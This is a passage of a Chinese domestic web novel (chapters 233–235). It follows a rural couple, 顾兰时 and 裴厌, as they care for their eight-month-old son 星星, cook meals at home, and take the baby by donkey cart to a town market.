“啊。”星星伸出胖乎乎的胳膊,想要去摸雨水,嘴里急得“么、么”乱叫。 他还不会说话,但每天都听大人讲,跟着牙牙学语,偶尔能蒙对几声。 “是阿姆,不是么。”顾兰时纠正道,抱着星星又往前去,抓着星星的手往雨幕中轻轻一伸。 雨水打在小肥手上,立即又被阿姆抓着收回来,星星咯咯笑。 顾兰时逗他玩一会儿,再摸摸儿子小手,觉得有点凉,掏出手帕给擦干,进屋不再玩这个了。 “嗷——嗷——” 一个布老虎被拿起,顾兰时不知道真老虎是怎么叫的,没见过,但多数人都会这样学,他也这样叫,吓唬逗星星玩儿。 星星一把抓住布老虎,没有被“虎叫声”吓到。 一大一小角力,最终顾兰时不敌,布老虎落入星星手中。 咬着老虎耳朵玩,听见脚步声,星星松开嘴巴看过去。 裴厌掀开门帘进来,脱下的蓑衣和斗笠都挂在堂屋墙上,手里拎了五条鱼,三大两小,鱼嘴用柔韧草茎穿过。 其中一条鱼扭动身躯,尾巴也在空中拍打,水花溅向四周。 “呜——”星星看见活鱼,眼睛都睁大了。 裴厌笑道:“就抓了这五条,够吃的。” 今天没下网,他去叉的,那条活鱼是徒手抓的,想带回来给星星看。 “够了。”顾兰时应道,见他裤管挽起还没放下,又说:“雨水河水都凉,对腿脚不好,锅里有热水,你洗洗,换双草鞋。” “嗯,我知道了。”裴厌把大鱼提起来,在儿子眼前晃晃,就看见星星眼睛跟着转。 “摸摸,不怕。”顾兰时自己先用手指头碰了一下鱼,笑着说:“看,阿姆都摸了。” 星星看一会儿浑身鳞片的大鱼,小嘴巴呜呜叫,也不知在说什么,他小心翼翼伸出一根肉乎乎的小手指,在即将碰到鱼的时候又缩了回去。 “哎呦,这有什么怕的,平时胆子那么大。”顾兰时笑话儿子一句,再次做了表率。 裴厌更直接,把鱼往前递了递,离他俩更近。 星星啊一声叫,像是在给自己鼓劲,小手指头挨到鱼身后,又是惊又是乐,哇哇大叫着,又笑两声。 “真厉害。”裴厌夸道,他笑着说:“改天不下雨,下网网一些活鱼,养在盆里,让星星也长长见识。” “这样好。”顾兰时分外赞同,他们家星星去过河边,但还没离近看过鱼儿游水呢。 刘大鹅和周大良回来了,他俩去地里之前,天色就不好,穿好蓑衣和斗笠才出门,因此没怎么淋湿。 裴厌提了鱼出去,在堂屋门前剖杀,趁新鲜清蒸了,鱼肉很嫩,挑了刺还能让星星吃两口,因此不能做成辣的。 今天晌午饭吃得早,照旧是两张桌子,顾兰时裴厌一桌,刘大鹅周大良在另一桌。 两桌饭菜没大的差别,各有一条蒸鱼,再就是两碗菜,糙馒头向来是管够的,隔段时间还会蒸两屉暄软的白面馒头解解馋。 顾兰时夹了一小块没刺的白嫩鱼肉,不放心,又仔细检查一番,才喂给星星。 星星小嘴巴早就张大了,坐在他腿上,眼睛直勾勾盯着鱼肉,几乎是迫不及待抿进嘴里。 怕吃太多大人的饭菜克化不动,吃饭前顾兰时已经喂了儿子一颗乳果,再给垫几口,基本就吃饱了。 裴厌吃饭本来就不慢,他先吃饱,从顾兰时怀里接过儿子,让星星换了他的腿坐。 顾兰时总算能安心吃饭,见星星哇哇叫还要吃,他喝一口米汤,说:“再喂两口,别给吃多了,喂完带他去屋里玩。” “知道了。”裴厌又拿起筷子,给儿子夹了一小块鱼肉挑刺。 说两口就是两口,星星再盯着饭桌上的鱼,他还是按着顾兰时的吩咐抱孩子进屋了。 没听见儿子哭闹,顾兰时放了心,不哭肯定是吃饱了,才八个多月,小肚子就那么点,能吃多少。 大雨转小,些微水腥气从窗外飘进来。 一旦不出去干活,裴厌总是和星星一起玩。 有人帮忙看孩子,顾兰时巴不得,平时他一个人管,星星又胖,分量比同龄的奶娃娃要重些,即便抱惯了,还是会觉得累。 下雨竹席有点凉,他铺了薄褥子,星星趴在软乎乎的炕褥上,手脚并用往他这边爬。 因离得不远,很快就到了阿姆怀中,星星很高兴,拍着顾兰时大腿啊啊啊叫,很高兴的样子。 “来,过来,到爹爹这里。”裴厌坐在炕沿,朝胖儿子拍拍手,示意星星再爬回来。 星星扭头看他一眼,大眼睛亮晶晶的,笑得露出两颗小米牙,但就是不往那边去,身子一趴,侧脸枕着顾兰时大腿,小手还攥着顾兰时裤管,一副依赖的小模样。 知道儿子黏顾兰时,裴厌笑笑。 顾兰时摸摸儿子小脑瓜,笑眯眯带了一点得意,抬眸看向裴厌:“看吧,谁生的黏谁。” 裴厌脾气很好,但见儿子那副招人稀罕的模样,很少在他跟前表露,忍不住说:“也该算我一半。” 他顿一下,又压低了声音:“好歹,我也出了力。” 这话说得隐晦,要是晚上弄那事时,顾兰时都习惯了,然而此刻是白天,尽管天阴有点昏暗,外面堂屋还有人呢。 顾兰时一下子没了话讲,耳朵有点发红,他无声瞪了裴厌一眼,再不理会了,只低头和星星玩耍说话。 裴厌唇角弯起,清眸落在夫郎发红的耳朵上,白里透红,脖子也白皙,每次低头在颈窝中轻嗅,总能闻到一股淡淡野澡珠的香气,是温热又干净的味道。 想着想着,他喉结滚动,视线挪开,不敢再看了。 * 虫鸣蛙叫,雨声啪嗒落个不停,夜里冷了下来。门窗紧闭,也挡不住雨夜的微寒。 星星已经睡熟,盖了被子暖和又舒服,偶尔发出几声梦呓奶音,不知梦见了什么。 怕他睡着了乱滚,特地用长枕挡在他两旁和脚下,围成了一圈。 炕上,顾兰时还没睡着,有一搭没一搭和裴厌说话。 “下次去府城,买两坛梅子酒,天热时喝一碗,还挺爽快的。” “嗯,知道了。”裴厌翻个身,将人拥进怀中。 顾兰时侧脸几乎贴在他胸膛上,只隔着薄薄的里衣,那股带着澎湃生命力的热意和紧实的肌肉分外让人安心。 炎夏夜晚睡觉难熬,今天好不容易凉快了,抱在一起睡也不会热一身汗。 顾兰时动了动,侧耳贴在裴厌心口,笑眯眯听一会儿,心跳一如既往沉稳。 裴厌大手从夫郎腰间摩挲进去,流连不已。 黑暗中,咬了好一会儿嘴巴才分开,腰上的手粗糙温热,修长而有力,带着绝对的力量感。 顾兰时心满意足,外头风雨依旧,他心情很好,哪怕裴厌再次翻身压上来,也没伸手去推,反而配合着,微抬腰迎合。 一声喘息过后,两人契合无比。 * 小雨淅淅琳琳下个不停,星星不再只穿着肚兜凉快,衣裳鞋子都套上了,孩子太小,穿少了容易着凉。 裴厌带着儿子在炕上玩耍,时而给摇摇拨浪鼓,时而吹几声泥哨。 院里还有狗跟着叫,一唱一和似的,此起彼伏。光听动静,就没个消停的时候。 灶房,顾兰时给灶底添一把柴火,没多久,锅边冒了白汽,他用大勺推开木锅盖,登时有热气冒出来,伴随着阵阵炖熟的肉香味道。 锅里肉汤咕嘟咕嘟滚开,排骨块和大肉块都熟透了,用筷子一扎,已经炖软烂。 他端起半盆鲜嫩的野菜尖儿倒进锅里,很快,野菜尖烫熟,沾了荤腥鲜绿清嫩,半盆菜迅速变少,在肉汤里悉数煮滚了。 这么多菜和肉,足够四个大人吃个肚子圆滚。 旁边锅里是蒸好的白米饭,半个月没吃米饭了,今天有裴厌在家看孩子,顾兰时总算能腾出手,做一顿好饭吃。 野菜煮熟后,散发出一股淡淡的清甜味儿,顾兰时盛出来在两个汤盆,便喊裴厌来端饭菜。 刘大鹅和周大良在堂屋编竹筐打草鞋,听见动静,起身拍拍竹屑草屑,搓搓手,跟在裴厌后头往灶房走。 他俩在灶房外接过裴厌端出来的汤盆和两碗米饭,被肉香味道勾的直咽口水。 大黑三个早在灶房屋檐下等着了,急得呜嗷叫。 顾兰时给它几个的食盆里分别舀了肉汤和一块肉,又给掰几个糙馒头丢进去,连吃带喝才能饱。 食盆在灶房里,灰灰和灰仔不断在灶房门口打转。 因之前灰仔被烫过舌头,太性急了,因此长了一回记性,加之裴厌呵斥一声,让它们待在外面,三只都没敢往灶房门里走。 顾兰时拿了筷子出来时,顺手带上了灶房门,怕狗溜进去,不顾东西还烫就偷吃。 门一关,灰灰嗷一声,站在门板前跟门神一样,不愿离开。 顾兰时没惯它,小跑进堂屋,身上淋了一点小雨,不打紧。 星星坐在桌子旁的摇篮里,看见他过来,小手扒着摇篮边沿似乎想站起来,无奈还没到时候,肉屁股又落回去。 肉汤鲜美,顾兰时先夹一筷子野菜,带着一点点微苦,然而后味却有点回甘,满口都是野菜清香,夏天吃正好,十分爽口。 裴厌从不挑嘴,但明显也有自己的喜好,肉吃得比菜多一些。 大肉块子瘦多肥少,一点都不腻,排骨炖烂了,肉一抿就能下来,再嗦嗦骨头上的肉汁,那叫一个香。 而野菜嫩尖沾了肉汤香气,也很合口味。 他俩吃得很畅快,另外一边,刘大鹅和周大良闷头只顾吃,一句话都没说,大口吃肉的好日子,在自家可见不到,也就跟着东家才能沾沾福气,哪怕只喝肉汤,也分外满足。 两盆肉略有差别,裴厌偏好肉食,顾兰时自然要先紧着他来,而长工那边并没有太少,肉块和排骨都有,米饭同样管饱。 吃顿好的,总不能让人家干看着,那也太不厚道了。 顾兰时端起饭碗,夹一筷子菜,再放一块肉,肉汁渗进粒粒分明的米饭中,一大口扒拉进嘴中,吃着吃着他眼睛弯起来。 “去吃。”裴厌冲着院里喊一声。 大黑率先用脑袋顶开灶房门,灰灰和灰仔紧跟着窜进去,各自在自己的食盆中狼吞虎咽。 第234章 陪孩子玩耍是件快乐的事,但日子久了,不免身心俱疲,不哭不闹的时候还好,一旦哭起来,一个人哄实在难应对,别的事都没法去做。 堂屋里,顾兰时坐在椅子上,星星坐在他腿上,低头看地上的水盆。 水里有活鱼和活泥鳅在游水,小虾有七八只,偶尔动弹一下。昨天裴厌去河里下了网,过了一晚,渔网拽上来,便有了这些。 孩子没见过游水的鱼虾,已经瞅了很久,一看见鱼儿拍水,盆里水花四溅,还有泥鳅在水里迅速游动,就乐得直笑。 顾兰时打个哈欠,眼角沁出泪水,他抬手擦去,一开始抱着星星看的时候他也挺高兴,还给星星说那个是小鱼,这个是小虾,又把小虾捞上来给星星看 虾子一甩身体,水溅在星星脸上,他也不怕,指着小虾嗷嗷叫,胆子还挺大,一点点伸手,碰到了小虾,大眼睛里都是好奇。 小虾差点从手里蹦跶下去,顾兰时眼疾,攥着手抓住了,惹得星星拍着小手咯咯笑, 几只虾原本刚抓回来时挺精神,都活着,顾兰时原本想着看过了就放回水里,但星星不依,哼哼唧唧叫着,非要他捞上来拿在手里,直到虾子都不怎么活泛以后,他才失了兴致。 有时候孩子看什么都看很久,玩起来也是,哪怕只是捂住脸和眼睛,再打开手,星星就能笑好多次。 有时顾兰时想让他待在屋里,费不少劲逗笑玩耍,外头一旦有点响动,星星被吸引,就闹着要出去看。 小人儿不像大人那样,还能讲道理,养起来自然累。 顾兰时靠在椅背上,一手扶着星星在他腿上坐好,目视着前方走神发呆,时不时就打个哈欠。 灰灰灰仔散开趴在堂屋睡觉,外头太阳大,连它们也不愿出去,大黑趴在桌子底下,热得摊开四肢。 地面被晒得发白,树叶纹丝不动,偶尔响几声有气无力的蝉鸣。 太阳很大,连菜地旺盛的菜蔬也蔫了几分,明明早上刚浇过,扒开根部的土才能看见里头是湿的,外面一层土已经晒干了。 裴厌和长工陆续从外面回来,太热还去干活,容易受热中暑。 顾兰时总算有了人换手,把星星交给裴厌,自己匆匆往灶房走,早上趁着星星没醒,他已经把菜切好了,馒头根本不用热,炒好菜就能吃饭。 裴厌抱着大胖儿子又坐在那里看鱼,水盆里鱼大小七八条,不像在活水中那样生机勃勃,有几条鱼已经翻白肚了。 “呜——”星星伸出小手,指着水盆里的鱼看向裴厌。 裴厌笑着抓着儿子小手晃一晃,说:“是给爹爹看?爹爹看见了。” 星星喜欢听大人说话,谁也不知道他听懂没有,反正他又笑了两声,身子扭着,小胳膊伸长,像是想往水里去。 裴厌从中捞了一条泥鳅和两只小虾在手里,星星咯咯笑。 泥鳅比鱼好养多了,这会儿还活蹦乱跳的,星星大着胆子去摸,还没摸到,泥鳅就从裴厌手中又扭又滑,啪嗒掉进水盆里。 星星又“呜”一声,裴厌颠颠腿,让儿子动了动,把摊开的手掌送到儿子面前:“泥鳅掉了,还有小虾。” 虾子不大,星星小胖手伸过去,很大胆抓起来。 裴厌露出笑脸,胆子挺大的。 谁知下一刻,星星就把虾子往嘴里塞,他手掌一翻,掌心里的另一条虾掉进盆里,没有任何停顿就从儿子嘴里手里把小虾掏出来。 “不能吃。”他把被攥死的虾丢回水里,星星手挺紧的,别看小,还挺有劲。 被夺了东西,星星小嘴巴一瘪,哇的哭了两声。 “咋了?”顾兰时在灶房高声喊道。 “想咬虾,我没让咬。”裴厌应声道。 顾兰时一听是这样,就没再管,见锅里油热了,将菜倒进去,用木铲不断翻动。 星星还在哭,不过雷声大雨点小,就憋出两三滴眼泪,见大人没理他,哼唧声渐渐小了。 裴厌颠着腿哄儿子,见盆里有两条泥鳅去吃死虾,于是指给星星看:“喏,吃小虾了。” 星星顺着他的手看过去,见泥鳅一啄一啄,死虾在水里被推的往前,又笑起来。 刘大鹅和周大良打了一车草回来,在谷场上倒下,又用木叉挑开晾晒。 四个大人各有各的忙,等太阳越大了,吃过饭喂过牲口,便都回屋歇息。 星星闹觉又哭起来,裴厌抱着他拍哄,不一会儿就睡着了。 顾兰时躺在炕上,总算消停了,他没有立即睡着,翻个身看向裴厌:“咱们家的也不爱哭,都这么累,碰见爱哭闹的,也不知怎么过来的。” 裴厌笑了下:“总得养活不是,家里忙就背出去干活,谁还管他哭不哭,往旁边一放就行了。” 还真是这样,从小到大都见惯了,连他自己小时候也是跟着大人去地里玩,顾兰时打个哈欠,又说:“娘也说星星养的娇,都不怎么往地里带。” 裴厌脱了鞋上炕,说:“咱们家里有人干活,又不用你下地,这算什么娇。” “再说了,地里那么热,跑去做什么,受了热大人不怕药苦,孩子就不一定能灌下去了,又得折腾。” “也对。”顾兰时附和道,困得都快睁不开眼了。 裴厌在炕边睡下,刚躺上来竹席还算凉快,不过没一会儿,捂热了就得翻身换一片。 烈日炎炎,窗子开了半扇,偶尔透进几丝带着热意的风,烘进来越发让人觉得困倦。 院子里渐渐没了动静,大人孩子都睡了,狗也找了阴凉处趴下打盹。 * 傍晚,刘大鹅周大良在谷场上收卷干草。 院子里,裴厌从木架和房顶上收了竹匾,他拨动里面铺满的菜干子,心道明天还是再晒晒,干透了才好存放。 夕阳渐渐隐入山下,天色暗下来。 顾兰时给星星擦了脸和手脚,就抱着哄睡了,嘴里哼唱几句山歌,星星在他怀里咿咿呀呀,就是不闭上眼睛。 他无奈笑了笑,抱着一边拍一边在屋里转。 孩子小,一到晚上就只待在屋里,从不抱出去,星星也习惯了,拍着拍着就打了个小小的哈欠,肥嘟嘟的小手攥着顾兰时衣襟,很快睡着了。 月亮爬上来,星星在天上闪烁。 没多久,院门关了,房门紧闭,劳作一天躺在炕上,只觉舒坦。 西屋。 刘大鹅话不多,干了一天活累了,很快睡着,周大良想着家里的一点事情,到月底结了工钱,得趁晚上回去一趟,把这两个月的工钱都拿回去。 他今年刚来,一个月只有一百五十文,钱不多,好处是稳定和有饭吃,两个月攒下了三钱,交给他夫郎藏好,到后年说不定就能给儿子成亲了。 过来这边干活以后,吃得好,每天都能跟东家沾到油水,胖是没胖,但明显比以前精神头更足,而且没有打骂挑刺,日子过得竟然挺舒心。 不止他,刘大鹅也不再是以前那副愁苦的模样,前段时间跟着去抓毒虫,又赚了一小笔,家里老小能买一两斤肉吃,今年工钱一涨,手里攒下一些钱,不多,却足以让全家都踏实。 裴厌说这几天晚上歇一歇,再去抓毒虫不迟,他俩依言照做,东家说什么就是什么,跟着就是了。 * 天湛蓝,云朵很多,时不时就挡住太阳。 裴厌在前院套驴车,今儿镇上有集会,打算去逛一趟,买点茶叶什么的。 家里买的所谓好茶,不过是比山上自己摘的粗茶好一点,没有特别贵,对他俩来说已经很满足了,自己泡一泡,来客也能招待下。 顾兰时抱着星星在旁边,星星已经知道套驴车就是爹爹要出门,急得哇哇乱喊,小手挥着,身子往前探,也想跟着一起出去。 裴厌去送鸡蛋送菜多是在清早,星星还没醒来的时候,有时送货不着急,就等天亮了才走。 之前有两次,星星看他出门,哭着也要坐上车,于是顾兰时就抱着他,裴厌在前面牵毛驴,拉着往村里走,出了村子之后,顾兰时又抱着他下车。 星星还想坐,一直哭闹,但无济于事,顾兰时一路哄着回来,没让跟去镇上。 裴厌听着顾兰时交代的事,见儿子着急,他看一眼头顶被遮住的太阳,今天不是很热,想了一下说:“要不,抱着一起去。” 顾兰时很久没去镇上逛过了,更别说今天还有大集,他一愣,随即笑起来:“那好,星星如今大了,坐车又不哭,给他带两个乳果,再带些水,去逛逛也好。” 裴厌也是这样想的,见顾兰时高兴,要去收拾东西,接过儿子在院里等。 板车上没有放东西,星星要上去坐,他就把儿子放上去。 星星肉墩墩坐在那里,冲着爹爹直笑,小胖手还扶在板车外侧竖起的边沿上。 怕儿子路上拉尿,顾兰时干脆收拾了一个小包袱,给星星带了身干净衣裳,夏天衣裳薄,万一弄脏了,换掉就是。 一出来见星星坐在板车上那么高兴,他笑了笑,给竹筒灌了水。 正好刘大鹅在大菜地干活,没有出去,裴厌嘱咐他看家,不用去地里。 刘大鹅满口答应,等他俩出门后,继续弯腰在菜地拔草捉虫。 大黑跟了出来,被顾兰时赶回去,他高高兴兴抱着儿子上了板车,星星呜哇乱叫,两只小手挥着,小脚也蹬几下,显然很高兴。 “汪——” 灰仔在后头叫,从来没见过星星出门,三只狗盯着远去的驴车,都在门口打转。 第235章 星星不是头一回坐板车,没有丝毫害怕,高兴到拍小手直笑,车轱辘碾过一处不平的凹凸地,顾兰时抱着他,板车微微高了一点,继而又落下去。 “唔唔。”星星一双大眼睛看向前面的毛驴,又转着脑袋看两旁。 驴车驶进村子,裴厌走得稳,时而和顾兰时说两句话,又应和一下儿子的呜呜学语,眉宇间带着笑意出现在众人面前。 这会子该干活的都出门干活了,留在村里的多是妇孺夫郎,老人坐在门前择野菜,和同样坐在门槛上的邻居闲聊,一抬头看见他这副模样,不知不觉早已习惯。 顾家院门开着,但院里没人,想来应该是花惜霜在家,她如今肚子大了,狗儿不叫乱跑,既然没看见人,裴厌就没有在门前停。 “啊、啊。”星星小手指着外祖家,他隔三差五就被顾兰时抱过来串门子,早已认得门。 “对,是阿公阿婆家。”顾兰时笑着说道:“我们星星真聪明。” “兰哥儿,做什么去?”刘桂花扛着锄头从地里回来,看见他几人问道。 顾兰时抬头:“婶子,我们去镇上赶大集。” 刘桂花看见星星,走到跟前忍不住停住脚,喜道:“真是大胖小子,瞧这白的,比那画儿上的娃娃还好看呢。” 星星歪头看向她,刘桂花哎呦一声,只觉心肝儿都要化了,笑得合不拢嘴,她孙子再有两月就出来了,只盼着也和星星一样白白胖胖。 每次来村里,不少人都想抱抱星星,不过星星会挑人,熟人还好点,生人死活都不让抱,有时候心情不好,生人碰一下就能哭出来。 他最喜欢让顾兰瑜和竹哥儿抱,苗秋莲直说果然舅舅和小嬷是最亲的。 裴厌牵着毛驴继续往前走,路上碰见不少人,顾兰时和村里人常常能说到一块儿,一路走一路闲聊两句,到祖宅门口时,正巧方红花出来。 “阿奶,今天怎么样了?”顾兰时问道。 方红花瞧见曾孙,乐得什么似的,上前摸摸星星小脑瓜,笑着说:“强多了,不是什么大毛病,歇歇就好,瞧我们星星,长得可真俊。” 她这几天受了暑热,一直不舒坦,一直躺着,今儿天凉一点,才出门透透气,找人说说话。 裴厌开口道:“阿奶,我俩去镇上赶大集,你想吃什么想要什么,只管说。” 方红花一摆手:“不要不要,我这几天没胃口,吃不下,你们逛你们的。” 她一顿,又问:“星星也去?” “嗯。”顾兰时笑道:“我看天不热,他一见裴厌套车就着急,闹着要坐,干脆带去逛逛,都快九个月了,不比之前。” 方红花点点头:“出去转转也好,孩子就要练练胆量,不然以后大了,人多还怯场呢。” 她挥挥手:“快去吧,趁着太阳不大,到晌午热了,就抓紧回来,不然热到星星了。” “知道了阿奶。”顾兰时答应一句 出了村子后,裴厌没有立即坐上车驱赶毛驴跑起来,他停下看向顾兰时:“跑慢些还是走着去?” 之前坐车到这里,就要下去了,星星人小鬼大,机灵得很,警惕得看看阿姆又看看爹爹,小胖手正好扶在板车边沿,胖乎乎的身子也往前拱,一副绝不下车的模样。 顾兰时笑了下,稀罕的不行,还不到一岁,就这么鬼精灵了,记性还这么好,都记得前几天的事,真是不知道随了谁。 他把星星抱回怀里让坐好,说:“试着跑跑,胆子这么大,走去的话,刚到镇上估计就热了。” “行。”裴厌答应一声,坐在前面在空中一甩鞭子,毛驴由慢到快跑了起来。 耳旁有风刮过,星星很惊奇,眼睛都睁大了,惊奇地伸手去摸耳朵。 阿姆的怀抱很稳很安心,因此星星没有害怕哭泣,头一次坐跑起来的驴车,太过新奇都忘记啊啊说话了,这边瞅瞅那边看看,跟小大人儿一样。 不光顾兰时,裴厌也一直留神身后的动静,生怕板车颠哭了孩子。 还好,驴车一路从岔路口驶到官道上,星星没有不适。 他和顾兰时说一声,试着让毛驴再跑快了些。 官道比村路更平坦些,也更宽敞,平时他自己一个人赶车,总是赶得快,既然儿子胆大,也该体会一回。 顾兰时一手扶着板车坐稳,另一手紧紧抱着儿子,毛驴跑快的瞬间,他身子不由往后微微仰了一下。 星星也随之如此,他被阿姆好好护在怀里,没有往后仰倒,只是觉得颠簸忽然变大,十分不安,小胖手立即攥紧了阿姆衣裳,小人儿整个贴住了顾兰时。 车跑起来就是这样,顾兰时没有立即喊停,往后靠只是一瞬间的事,他再次坐稳,随着驴车身子不由有些晃动,依旧在稳定的范围内。 他低头看星星,见儿子有点不习惯,但没有哭喊,于是拍着星星胳膊哄了哄:“噢噢,我们坐车呢,你看毛驴跑得这么快,一会儿我们就到镇上啦,好吃的好喝的,在等着我们星星呢。” 这下坐稳了,星星被拍着哄了一会儿,总算回过神,看见对面跑来一辆骡子车,他眼睛眨也不眨,就这么盯着看,很惊奇的模样。 两架车汇合擦过,骡车被落在后面,他连忙转脑袋去看,被吸引了心神,连刚才的害怕都忘记了。 怕星星张嘴吃风,顾兰时用手帕给他蒙住了小嘴巴,不让啊啊乱叫,不然要受凉了。 裴厌隔一段路就问问怎么样,听顾兰时说好着,才放心继续赶车。 因有星星,他赶车其实不算很快,眼瞅着快到宁水镇了,已经过去快三刻钟,对星星来说坐得有点久了,他渐渐有了不安、哭闹的趋势。 顾兰时不想儿子太难受,于是让裴厌停下来。 裴厌找了一片树荫,连人带车歇在底下。 顾兰时下车,站在树下抱着星星哄,又让裴厌拿竹筒来,给星星喂了两口水。 星星揉红了眼睛,要哭不哭哼唧了几声,肉脸蛋枕在顾兰时肩头,一副委屈巴巴的模样。 裴厌给儿子顺顺脊背,说道:“歇一阵子吧,不着急。” “嗯。”顾兰时应一声,让星星趴在他肩头安静安静。 过了好一会儿,星星总算不难受了,张着嘴巴啊啊要喝水,裴厌立马奉上竹筒,再喂他喝了几口。 见星星又笑起来,裴厌和顾兰时也喝两口水,牵了毛驴再次要赶车。 星星一看见这样,立马弓起身子扭动犯倔,哭了两声不愿意再坐,顾兰时只得作罢。 “就二里地了,走着吧。”他对裴厌说道。 裴厌也没办法,孩子太小了,头一回坐这么久车,不该硬逼着,于是牵着毛驴跟在旁边。 走了一段后,见顾兰时抱着胖儿子吃力,他让顾兰时牵毛驴,自己抱着星星。 胳膊没了沉甸甸的分量,顾兰时松快了许多,他把绳头松垮垮拽在手里,毛驴其实都不用牵绳,自己知道跟着主人走。 离宁水镇越近,路上人越多,挑担的背筐的,卖菜的卖蛋的,赶猪的赶羊的,牛车驴车比平时要多。 镇外空场地上,陈三儿一家生意很好,看见裴厌,陈三儿殷勤过来牵毛驴。 掏了五文钱后,裴厌接过半块木牌,他抱着星星,胖娃娃长得漂亮讨喜,路过的人要是看见,都忍不住多瞅两眼,尤其上了年纪的老人。 “长得真有福气。”一个白发老妪咂咂舌。 裴厌抱着儿子笑笑,还没说话呢,前面正好有个货郎背对着他们进镇,担上插了好多风车和吉祥轮,随风转个不停,星星被吸引,啊啊叫了两声,小手指着风车,催促爹爹过去。 顾兰时紧跟着裴厌脚步,两大一小撵上货郎,给星星买了一个彩色八角风车。 风车用麦秆和彩纸做的,轻便好拿,星星自己就能握在手里,他笑声不断,走了二里地缓过来,不再难受了。 “糖葫芦——” “山楂蜜饯酸枣糕——” “卖糖人咯——” 一群小孩围着小贩小摊又跳又叫,欢喜无比,小贩也高兴,生意好脸上都是笑容。 刚进镇的小男孩扯着阿娘衣袖,着急忙慌就要去买糖人,他娘被拽个趔趄,“啪”一下打在他脊背,骂道:“猴崽子,急个屁!” 骂归骂,还是被儿子领过去掏了钱,女人翻白眼没好气,又花钱!孩子可不管,美滋滋舔了舔糖人,舍不得咬着吃。 星星看见大孩子多,呜呜叫两声,也想和他们玩儿,但他吃不了那些东西,裴厌和顾兰时没有往摊子那边去。 沿着街道顺人流往前走,卖什么的都有,夏天最多的就是各种饮子。 “梅子水—酸酸凉凉——” “绿豆沙,来尝尝。” “青梅蜜饮子——消消暑解解渴——” “荷叶饮、薄荷水儿,乌梅香饮子——” 不少小贩拉长了嗓子吆喝,此起彼伏,让人都不知喝什么香饮好了。 裴厌如今常去府城,宁水镇的饮子还算多种多样,但很少见冰饮子和各种酥山冰酪,府城就多了,价钱自然不用说,肯定贵。 冰只有冬天时才能贮存,往前几十年,只有京城那边有,这几年慢慢传到他们这儿的府城了。 “喝什么?”裴厌问道。 逛大集就是这样,买点吃的喝的,心里才舒坦,不然只看一圈热闹回去,心里都不自在。 赶了一路车,顾兰时确实有点渴,他走走停停,在各个摊前看一眼。 “尝尝尝尝,我们这是加了蜜的,也有没加蜜的青梅饮子。” 小贩给摊前客人一边打饮子一边嘴上还要招揽顾客,那叫一个忙。 顾兰时听见加了蜜,青梅饮偏酸,不免觉得口中生津,于是站在青梅饮子摊前,转头对裴厌说:“先尝尝这个,等下再要碗乌梅香饮子喝。” 这样就能喝两种了。 他眉眼弯弯,裴厌一看就知道在想什么,笑了笑点头:“好。” 星星看见别人在吃在喝,小嘴巴不免跟着动,啊啊叫着,伸出胳膊想往摊里看。 裴厌抱紧了儿子,笑着把他伸出来的胳膊压回去,劝道:“别急别急,一会儿也给你尝尝。” “能喝吗?”顾兰时问道。 裴厌问向摊主:“青梅饮子可是酒?” “不是,熬煮出来的。”摊主看他俩抱着孩子,咧嘴一笑:“要是觉得味儿浓,我这儿有空碗,壶里是水不是茶,你们自己掺些水给娃娃喝。” 裴厌微颔首:“行,那来一碗加蜜的。” “好嘞,加蜜十三文。”摊主手下很麻利,给前面的人舀了饮子,就到他俩了。 摊主从另一口饮子桶里舀出来一碗,顺口解释道:“熬煮时已经加了进去,味儿只甜不酸。” 他身后的空地上有几张桌椅,正好有两个人喝完起了身,摊主儿子收了碗,裴厌和顾兰时过去坐下。 顾兰时一手端饮子碗一手拿了个空碗,坐下后见星星着急,先给空碗里倒了一点,随后拎起水壶掺了些水,递给裴厌让喂。 他自己端起饮子碗浅浅尝一口,青梅酸味和蜜甜味道都有,混在一起,甜津津酸滋滋,后味还挺绵长,别有一番滋味,怪不得这摊前这么多人。 顾兰时放下碗,笑着说:“味道真是浓,你也尝尝。” 星星尝着酸酸甜甜的味道,第一口就睁大了眼睛,随后迫不及待,小胖手抓着碗沿,埋脸就喝。 裴厌有点好奇掺了水是什么样的,等儿子喝完后抬头,见碗底还剩一点,他仰头尝了尝。 顾兰时好奇问道:“怎么样?” “淡,水里有一点酸甜气。”裴厌放下碗,又拿起没掺过水的喝一口,笑道:“还是这个不错,味浓熬的好。” “呜。”星星小手摸向空碗,是还要喝的意思。 顾兰时又给他倒了些,这回孩子喝之前,他先尝了尝,掺过后味道很淡了,天热,只当给星星多喝点水。 镇上大集是很热闹的,又碰见炸肉丸子的摊,顾兰时要了十个,花了十二文钱,还和两三年前一样的价。 他和裴厌端碗站在路边吃,懒得坐下,集会还长呢。 星星看见大人嘴动,不断伸手要去拿肉丸,又不断被顾兰时拨走不安分的小手。 趁孩子急哭之前,顾兰时和裴厌往嘴里塞了两三个肉丸,鼓着腮帮子嚼。 星星不甘心,裴厌抱着他,他就去扒拉裴厌嘴,试图扣出来什么,眼睛都要凑过去,想看看爹爹在吃什么好的。 裴厌侧开脸躲避,但还是被儿子抓了一下嘴和脸颊,小胖手还试图扒开他嘴,他无奈,只能囫囵吞枣一般咽下肉丸子。 顾兰时在旁边快速咀嚼咽下,在星星转头看他时,脸颊嘴巴不动了。 见星星还是盯着他看,他张开嘴巴让儿子看一眼,说:“喏,没有,阿姆都说了,我没吃啥。” 他睁着眼睛说瞎话,裴厌笑了下,抱着儿子往前面去,一路走走停停,看这个瞅那个,怕惹急了星星,没有再买什么吃的喝的。 鸟雀在笼子里跳来跳去,红嘴儿黄嘴儿褐嘴儿的都有。 到花鸟多的地方后,星星一听见鸟叫声就到处找,他本来就喜欢听这些,这下更是高兴。 裴厌看见一只黑色八哥,抱着儿子过去,八哥看见奶娃娃,跳上横杆,过了一会儿竟开口了:“早。” 顾兰时惊讶,他也凑过来,学舌一样:“早,你也早,再说两句?” 八哥不再说话了。 摊主是个老头,他这个鸟笼摊子不大,八哥他养了好几年,不卖,只是带出来溜溜,鸟笼才是卖的,见他俩逗八哥,笑呵呵说:“大人使唤不动,见了娃娃才叫呢。” 原来是这样,顾兰时笑了下:“真是聪明。” 老头爱鸟,听人夸他养的八哥聪明,心里也高兴。 裴厌学鸟叫转着弯吹了一阵口哨,八哥还是不理人,他笑笑,抱着星星又往前走了。 星星爱听鸟叫,他俩在这边走得很慢,让儿子听个够。 等出了花鸟市,二人都觉得饿了,正好前面各种小摊小馆子都有,顾兰时见卤子面不错,就在面摊前停下。 两人都要了一碗肉卤子的,顾兰时解开包袱,借摊主的刀给星星切开乳果嘴,先喂孩子吃饱。 星星嘬乳果很有劲,胃口也大了,吃了一颗乳果还不够,面端上来后,闹着非要吃。 顾兰时只得给他喂了一点面和面汤,让尝尝味。 